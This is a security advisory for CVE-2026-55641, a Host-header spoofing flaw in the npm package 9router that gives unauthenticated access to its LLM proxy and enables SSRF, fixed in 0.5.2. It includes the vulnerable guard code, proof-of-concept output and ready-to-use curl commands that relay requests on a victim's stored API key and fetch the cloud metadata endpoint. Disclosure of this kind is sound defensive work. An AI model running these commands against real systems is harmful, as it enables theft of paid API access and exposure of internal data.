9router
Affected
- introduced
0, fixed0.5.2(semver)
Fixed versions
0.5.2
Fix
- Fixed version
0.5.2npm install [email protected]
Advisory
Also known as: CVE-2026-55641
9router: Unauthenticated /v1 proxy access via Host-header spoofing → open AI relay + SSRF
Summary
9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled `Host` header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:
/v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.<0.3.75 authz bypass).Details
The bypass (src/dashboardGuard.js)
function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
if (!isLoopbackHostname(request.headers.get("host"))) return false; // <-- client-controlled Host
const origin = request.headers.get("origin");
if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
return true;
}
async function canAccessPublicLlmApi(request){
if (isLocalRequest(request)) return true; // <-- "local" => no key required
if (await hasValidCliToken(request)) return true;
return await hasValidApiKey(request);
}
isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.
Default exposure
cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no `requireApiKey` → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.Relay chain (verbatim trace, 0.4.71)
middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.
SSRF chainsearch.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:
export function resolveBaseUrl(config, params){
const override = getProviderSetting(params, "baseUrl"); // reads params.providerOptions.baseUrl FIRST
return (override || config.baseUrl).replace(/\/+$/, "");
}
→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.
PoC
Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the *real* handleSearchCore + AI_PROVIDERS.searxng).
Guard bypass (`hostspoof.mjs`, exit 2):
attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
denied honest remote (real Host)
*** ALLOWED *** SPOOF Host: localhost (no Origin)
*** ALLOWED *** SPOOF Host: 127.0.0.1
*** ALLOWED *** SPOOF Host: localhost:20128
denied SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.
SSRF (`ssrf_search.mjs`, real imported code):
[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.
Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)
Built & ran [email protected] (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP `10.204.111.34` (a genuine remote peer); only the Host header differs between the control and the attack:
(A) honest Host (the IP): POST /v1/search Host: 10.204.111.34:20128
=> HTTP 401 {"error":"API key required for remote API access"} [guard blocks remote]
(B) spoofed Host: localhost: POST /v1/search Host: localhost
body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
=> HTTP 200, and the attacker's listener logged:
[ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
=> the 9router SERVER PROCESS issued a GET to the attacker-controlled URL = unauthenticated SSRF.
(B') relay path POST /v1/messages, same Host-spoof:
honest Host => 401 ; Host: localhost => 404 {"error":"No active credentials for provider: openai"}
=> bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).
Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.
Reproduce (against a network-reachable 9router; VICTIM_IP = the box):
# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
-d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'
# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
-d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'High Basis: The source's own band: HIGH
0, fixed 0.5.2 (semver)0.5.2
0.5.2npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0